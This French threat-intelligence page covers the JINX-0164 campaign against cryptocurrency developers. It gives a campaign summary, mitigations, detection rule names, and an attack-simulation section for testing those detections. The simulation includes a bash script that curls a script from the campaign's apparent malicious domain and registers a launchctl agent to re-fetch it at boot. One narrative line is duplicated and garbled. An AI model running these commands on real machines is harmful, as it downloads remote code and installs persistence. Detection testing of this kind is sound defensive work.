Infrastructure de Développement de Logiciel Crypto Ciblée par un Nouvel Acteur de Menace
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un acteur de menace motivé financièrement, identifié sous le nom de JINX-0164, cible les développeurs de cryptomonnaie via l’ingénierie sociale sur LinkedIn, des malwares macOS, et des compromissions CI/CD. Le groupe déploie un RAT Python personnalisé connu sous le nom de AUDIOFIX et une porte dérobée basée sur Go appelée MINIRAT, toutes deux configurées pour communiquer avec des domaines de commande et contrôle codés en dur. Après avoir obtenu l’accès, les attaquants volent les identifiants de cloud et de développement, altèrent les dépôts de code, et publient même des paquets npm malveillants pour étendre l’accès et permettre le vol de cryptomonnaie. La campagne reflète une menace sophistiquée de la chaîne d’approvisionnement visant le cycle de vie du développement logiciel.
Enquête
Wiz CIRT a suivi l’intrusion depuis le premier contact LinkedIn jusqu’à la livraison des liens malveillants, l’exécution des charges utiles macOS, le vol de crédentiels, et le déplacement latéral dans les référentiels de code source. Leur enquête a révélé des scripts déployeurs, la persistance via launchctl, et l’utilisation de l’outil nord-stream pour l’exfiltration discrète. Les chercheurs ont également identifié plusieurs domaines usurpés, des nœuds de sortie VPN, et une compromission de la chaîne d’approvisionnement impliquant le paquet @velora-dex/sdk npm. Des chemins de fichiers, des hachages, des domaines et des adresses IP ont été recueillis pour soutenir la détection et la chasse aux menaces.
Atténuation
Les défenses recommandées incluent la surveillance des systèmes macOS pour launchctl la persistance, la détection des LaunchAgents suspects, et le blocage des domaines malveillants et des serveurs de commande et contrôle connus. Les organisations devraient imposer des validations signées, activer le mode vigilant GitHub et surveiller les validations non vérifiées ou les changements inhabituels de flux de travail CI/CD. L’utilisation de VPN devrait être limitée aux fournisseurs approuvés, et l’authentification multifactorielle devrait être requise pour les comptes cloud et les plateformes de développement.
Réponse
Si cette activité est détectée, isolez immédiatement le système macOS affecté, collectez les artefacts forensiques, et révoquez tout identifiant et jeton API compromis. Les équipes de sécurité doivent effectuer un examen complet des dépôts de code pour les validations malveillantes et supprimer tout paquet npm compromis. Les domaines de commande et contrôle identifiés devraient être bloqués, et les règles de pare-feu mises à jour pour refuser le trafic vers les adresses IP malveillantes. Les parties prenantes concernées devraient être notifiées, et le partage de renseignements sur les menaces avec des partenaires de confiance du secteur devrait être envisagé.
Flux d’attaque
Nous sommes encore en train de mettre à jour cette partie. Inscrivez-vous pour être informé
Prévenez-moiDétections
Téléchargement de fichier suspect IP directe (via proxy)
Voir
Tentative de communication de domaine de recherche d’IP possible (via dns)
Voir
Tentative d’exécution Launchctl macOS (via ligne de commande)
Voir
Exécution possible avec l’utilisation de chmod et nohup dans une seule commande (via ligne de commande)
Voir
Manipulation possible de chaînes encodées en Base64 [MacOS] (via ligne de commande)
Voir
Tentative d’exécution Curl suspecte [MacOS] (via ligne de commande)
Voir
IOC (HashSha256) à détecter : Commettez pour compromettre : Un nouvel acteur de menace visant l’infrastructure de développement logiciel de l’industrie de la cryptomonnaie
Voir
IOC (SourceIP) à détecter : Commettez pour compromettre : Un nouvel acteur de menace visant l’infrastructure de développement logiciel de l’industrie de la cryptomonnaie
Voir
IOC (DestinationIP) à détecter : Commettez pour compromettre : Un nouvel acteur de menace visant l’infrastructure de développement logiciel de l’industrie de la cryptomonnaie
Voir
Détection de la persistance et du téléchargement de charge utile du malware AUDIOFIX [création de processus Linux]
Voir
Exécution de simulation
Pré-requis : La vérification du télémesure et de la ligne de base de pré-vol doit avoir réussi.
Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Narratif d’attaque & Commandes :
- Porte d’entrée initiale : Un attaquant envoie un email de phishing contenant un lien malveillant (T1566.004). La victime clique sur le lien, qui pointe vers
https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh. - Téléchargement de charge utile : Le terminal de la victime exécute une commande
curlqui récupère silencieusement le script. - Configuration de la persistance : Le script enregistre un agent de lancement en utilisant
launchctl submit, intégrant la même commande afin que la charge utile soit re-téléchargée à chaque démarrage (T1546.006).curlcommand so the payload is re‑downloaded on each boot (T1546.006). - Exécution : L’agent de lancement s’exécute avec des privilèges système, exécutant le script téléchargé pour compromettre l’hôte.
- Porte d’entrée initiale : Un attaquant envoie un email de phishing contenant un lien malveillant (T1566.004). La victime clique sur le lien, qui pointe vers
-
Script de test de régression : (à exécuter sur une machine de test macOS ; nécessite les droits administrateur)
#!/bin/bash set -euo pipefail # 1. Simuler le téléchargement curl malveillant (aucun code malveillant réel) MALICIOUS_URL="https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh" curl -fsSL "$MALICIOUS_URL" -o /tmp/audio-fix.sh # 2. Enregistrer un agent de lancement qui re-télécharge le script au démarrage launchctl submit -l com.malicious.audiofix -p /usr/bin/curl -a -c -t "30" /usr/bin/curl -fsSL "$MALICIOUS_URL" -o /tmp/audio-fix.sh echo "Agent de lancement malveillant enregistré. Vérifiez le SIEM pour la détection." -
Commandes de nettoyage :
# Supprimez l'agent de lancement launchctl remove com.malicious.audiofix || true # Supprimez le script téléchargé rm -f /tmp/audio-fix.sh echo "Nettoyage terminé."
Fin du rapport